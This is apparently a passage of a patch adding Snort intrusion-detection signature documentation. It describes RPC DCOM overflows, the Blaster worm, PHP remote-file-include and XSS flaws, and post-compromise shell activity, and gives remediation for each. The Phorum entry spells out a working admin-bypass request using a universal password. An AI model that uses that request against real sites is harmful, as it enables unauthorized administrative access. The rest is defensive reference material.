+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3347.txt
+++ snort-2.8.5.2/doc/signatures/3347.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3347
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1137.txt
+++ snort-2.8.5.2/doc/signatures/1137.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+1137
+
+--
+Summary:
+This event is generated when an attempt is made to access the php 
+application Phorum using a default administrator account.
+
+--
+Impact:
+Severe - Phorum administration is controlled by the attacker
+
+--
+Detailed Information:
+Phorum is a popular PHP forum and versions 3.0.7 and previous are 
+vulnerable to this exploit.  An attacker can exploit a bug in Phorum's 
+auth.php script to gain administration access using a universal password
+(boogieman) supplied with the variable PHP_AUTH_USER. Phorum's PHP 
+scripts rely on auth.php to authenticate the user.
+
+--
+Attack Scenarios:
+The attacker requests /admin.php?PHP_AUTH_USER=boogieman from the Phorum
+PHP scripts. It is now possible to use the administration script to 
+modify all Phorum settings.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Update Phorum from www.phorum.org
+
+--
+Contributors:
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2492.txt
+++ snort-2.8.5.2/doc/signatures/2492.txt
@@ -0,0 +1,93 @@
+Rule:
+
+--
+Sid:
+2492
+
+--
+Summary:
+This rule no longer generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+This rule now uses flowbits and can be set to generate an event by
+modifying the rule slightly to remove the "flowbits:no_alert;" option.
+When traffic is detected that attempts to bind to the ISystemActivator
+object in MS RPC DCOM communications this rule now activates sids 2351
+and 2352 to detect exploits against this service. Cool huh?
+
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+This vulnerability is also exploited by the Billy/Blaster worm. The worm
+also uses the Trivial File Transfer Protocol (TFTP) to propagate. A 
+number of events generated by this rule may indicate worm activity.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists. This is also exploited by a worm.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+Block access to port 69 used by the worm to propogate.
+
+Block access to port 4444 used by the worm.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/MS03-026.asp
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0352
+
+Symantec:
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blaster.worm.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/494.txt
+++ snort-2.8.5.2/doc/signatures/494.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 494
+
+-- 
+Summary:
+This event is generated by a successful attempt to execute a command. This may be indicative of post-compromise behavior indicating the use of a Windows command shell.
+
+-- 
+
+Impact:
+Serious. An attacker may have the ability to execute commands remotely
+
+--
+Detailed Information:
+This event is generated by an unsuccessful attempt to execute a Windows command which generates the response "The command completed successfully". For example, it is generated in Windows 2000/XP after the "net" command (such as "net use") is used. The net commands are used for a wide variety of system tasks of interest to attackers and can be started from the windows shell (cmd.exe, command.com). 
+
+Seeing this response in HTTP traffic indicates that an attacker may have been able to spawn a shell bound to a web port and has sucessfully executed a command. Note that the source address of this event is actually the victim and not that of the attacker.
+
+--
+
+Attack Scenarios:
+An attacker gains an access to a Windows web server via IIS vulnerability and manages to start a cmd.exe shell. He then proceeds to map the DMZ network via "net use" commands.
+
+-- 
+
+Ease of Attack:
+Simple. This post-attack behavior can accompany different attacks.
+
+-- 
+
+False Positives:
+This rule will generate an event if the string "Command completed" appears in the content distributed by the web server, in which case the rule should be tuned.
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action:
+Investigate the web server for signs of compromise.
+
+Look for other IDS events involving the same IP addresses.
+
+--
+Original rule writer unknown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft Technet:
+http://www.microsoft.com/technet/prodtechnol/windows2000serv/support/FAQW2KCP.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2347.txt
+++ snort-2.8.5.2/doc/signatures/2347.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+2347
+
+--
+Summary:
+This event is generated when an attempt is made to access the
+partner.php script which contains known vulnerabilities and
+is part of  the myPHPNuke web application running on a server.
+
+--
+Impact:
+Information gathering and possible cross site scripting attack.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the myPHPNuke web application running on a server.
+Multiple vulnerabilities exist in the application which can lead to
+cross site scripting attacks.
+
+--
+Affected Systems:
+	myPHPNuke 1.8.8
+
+--
+Attack Scenarios:
+An attacker can supply code of their choice by including it in the
+Default_Theme parameter of the partner.php script.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3428.txt
+++ snort-2.8.5.2/doc/signatures/3428.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3428
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/801.txt
+++ snort-2.8.5.2/doc/signatures/801.txt
@@ -0,0 +1,62 @@
+Rule:  
+
+--
+Sid:
+801
+
+--
+Summary:
+This rule has been placed in deleted.rules. It has been superceded by
+sid 721.
+
+--
+Impact:
+Mail worms may spread rapidly because users execute them.
+
+--
+Detailed Information:
+Windows systems are often configured not to display file extensions.
+By adding a second extension, users get confused and think that an
+executable is a WORD document - e.g. resume.doc.vbs gets displayed as
+resume.doc but is a visual basic script and not a WORD document.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+Famous worms (ILOVEYOU, KOURNIKOVA) are based on this method. Warning:
+A WORD document is in now way more secure than a visual basic script.
+Wrongly configured antivirus software my ignore this files and
+let a macro virus pass.
+
+--
+Ease of Attack:
+Very easy. One needs to attach a file and hope that it gets executed.
+
+--
+False Positives:
+Could be an error on sender's side.
+
+--
+False Negatives:
+None Known
+-
+
+--
+Corrective Action:
+Use antivirus software. Configure mail clients securely, especially when
+using windows desktops. Educate your mail users. Deny all attachments at
+the gateway if you can.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by tobias.haecker@to.com
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2422.txt
+++ snort-2.8.5.2/doc/signatures/2422.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2422
+
+--
+Summary:
+This event is generated when an attempt is made to download a file that
+may be an attack vector for a known exploit to a vulnerability in Real 
+Networks RealPlayer/RealOne player.
+
+--
+Impact:
+Serious. Execution of arbitrary code.
+
+--
+Detailed Information:
+RealNetworks RealPlayer/RealOne player is a streaming media player for
+Microsoft Windows, Apple Macintosh and UNIX/Linux based operating systems.
+
+A buffer overrun condition is present in some versions of the player
+that may present a remote attacker with the opportunity to execute code
+of their choosing on a client using one of these players.
+
+--
+Affected Systems:
+	Real Networks RealOne Desktop Manager
+	Real Networks RealOne Enterprise Desktop 6.0.11 .774
+	Real Networks RealOne Player 1.0
+	Real Networks RealOne Player 2.0
+	Real Networks RealOne Player 6.0.11 .868
+	Real Networks RealOne Player version 2.0 for Windows
+	Real Networks RealPlayer 8.0 Win32
+	Real Networks RealPlayer 8.0 Unix
+	Real Networks RealPlayer 8.0 Mac
+	Real Networks RealPlayer 10.0 BETA
+
+--
+Attack Scenarios:
+An attacker may supply a malformed file to the client to exploit the
+issue.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1673.txt
+++ snort-2.8.5.2/doc/signatures/1673.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1673
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000500.txt
+++ snort-2.8.5.2/doc/signatures/100000500.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+100000500
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "PictureDis" application running on a webserver. 
+Access to the file "wpfiles.php" using a remote file being passed as the "lang" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "lang" parameter in the "wpfiles.php" script used by the 
+"PictureDis" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PictureDis
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2288.txt
+++ snort-2.8.5.2/doc/signatures/2288.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2288
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000723.txt
+++ snort-2.8.5.2/doc/signatures/100000723.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000723
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "permissions.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "permissions.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000780.txt
+++ snort-2.8.5.2/doc/signatures/100000780.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000780
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Horde" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "name" parameter in the "problem.php" script used by the "Horde" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Horde
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Dan Raswami <dan.raswami@sourcefire.com>
+
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1119.txt
+++ snort-2.8.5.2/doc/signatures/1119.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1119
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/877.txt
+++ snort-2.8.5.2/doc/signatures/877.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+877
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3371.txt
+++ snort-2.8.5.2/doc/signatures/3371.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3371
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000622.txt
+++ snort-2.8.5.2/doc/signatures/100000622.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000622
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "mail_modify.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "mail_modify.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/417.txt
+++ snort-2.8.5.2/doc/signatures/417.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+417
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Information Request datagram.
+
+--
+
+Impact:
+ICMP Information Request datagrams attempt to locate the network number of the network segment the datagram was generated on.  This could be an indication of an improperly configured host attempting to locate the network number of the subnet it is located in.
+
+--
+
+Detailed Information:
+This message is generated when a host attempts to locate the network number of the network segment it is located on..  Hosts that generated ICMP Information Request Messages are attempting to obtain the network number of subnet it is on.  In normal situations the ICMP Code should be set to 0, values other than 0 are undefined and should never be used.
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+ICMP Type 15 datagrams are not normal network activity.  Hosts generating ICMP Information Request messages or Information Reply Messages should be checked for configuration errors.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2237.txt
+++ snort-2.8.5.2/doc/signatures/2237.txt
@@ -0,0 +1,47 @@
+Rule:  
+
+--
+Sid:
+2237
+
+--
+Summary:
+This event is generated when an attempt is made to 
+
+--
+Impact:
+
+--
+Detailed Information:
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2313.txt
+++ snort-2.8.5.2/doc/signatures/2313.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2313
+
+--
